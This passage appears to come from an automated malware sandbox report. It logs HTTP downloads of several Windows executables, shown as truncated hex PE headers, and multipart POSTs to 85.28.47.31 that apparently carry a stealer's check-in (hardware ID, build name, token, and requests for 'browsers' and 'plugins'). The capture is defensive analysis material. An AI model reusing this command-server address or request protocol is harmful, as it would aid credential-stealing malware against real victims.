00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 10:01:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 10:01:19 GMTContent-Type: application/octet-streamContent-Length: 1904640Last-Modified: Sat, 27 Jul 2024 09:24:52 GMTConnection: keep-aliveETag: "66a4bce4-1d1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4b 00 00 04 00 00 1b 6c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 75 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 75 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6f 78 75 70 67 71 6a 00 00 1a 00 00 80 31 00 00 f8 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 61 70 61 70 73 64 7a 00 10 00 00 00 80 4b 00 00 04 00 00 00 ea 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4b 00 00 22 00 00 00 ee 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 10:01:22 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Sat, 27 Jul 2024 09:25:27 GMTConnection: keep-aliveETag: "66a4bd07-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4d 00 00 04 00 00 e4 81 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 d6 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 d5 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 79 77 7a 71 78 75 6c 00 70 1a 00 00 70 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 70 78 69 77 68 63 65 00 10 00 00 00 e0 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 10:02:04 GMTContent-Type: application/octet-streamContent-Length: 249856Last-Modified: Sat, 27 Jul 2024 09:53:14 GMTConnection: keep-aliveETag: "66a4c38a-3d000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 54 67 94 73 10 06 fa 20 10 06 fa 20 10 06 fa 20 7f 70 51 20 0b 06 fa 20 7f 70 64 20 00 06 fa 20 7f 70 50 20 74 06 fa 20 19 7e 69 20 1b 06 fa 20 10 06 fb 20 64 06 fa 20 7f 70 55 20 11 06 fa 20 7f 70 60 20 11 06 fa 20 7f 70 67 20 11 06 fa 20 52 69 63 68 10 06 fa 20 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8c 43 f1 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 76 03 02 00 00 00 00 f9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 71 80 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 59 02 00 78 00 00 00 00 c0 04 02 e0 99 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 5a 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 54 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 19 02 00 00 10 00 00 00 1a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 96 33 00 00 00 30 02 00 00 34 00 00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2e 02 02 00 70 02 00 00 dc 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 75 66 75 63 00 00 d3 02 00 00 00 a0 04 02 00 04 00 00 00 2e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 69 78 65 72 61 79 00 04 00 00 00 b0 04 02 00 04 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 99 00 00 00 c0 04 02 00 9a 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 10:02:07 GMTContent-Type: application/octet-streamContent-Length: 3206656Last-Modified: Sat, 27 Jul 2024 09:24:03 GMTConnection: keep-aliveETag: "66a4bcb3-30ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 95 bc a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 28 ef ad 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 ae 00 00 04 00 00 31 92 12 00 02 00 40 80 00 00 80 00 00 20 00 00 00 00 80 00 00 20 00 00 00 00 00 00 10 00 00 00 50 50 8c 00 9b 0e 00 00 ec 5e 8c 00 4c 04 00 00 00 d0 12 00 e8 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 50 8c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 8c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 00 10 00 00 00 00 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 03 00 00 c0 09 00 00 f2 00 00 00 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 0c 00 00 04 00 00 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 05 00 00 40 0d 00 00 f6 04 00 00 fa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 50 12 00 00 62 00 00 00 f0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 90 00 00 00 d0 12 00 00 8e 00 00 00 52 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 c0 78 00 00 60 13 00 00 28 03 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 f0 21 00 00 20 8c 00 00 e6 21 00 00 08 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"sila------HCAEHJJKFCAAFHJKFBKK--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"browsers------HIIIECAAKECFHIECBKJD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGDHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"plugins------BAKFBKEHDBGHJJKFIEGD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a 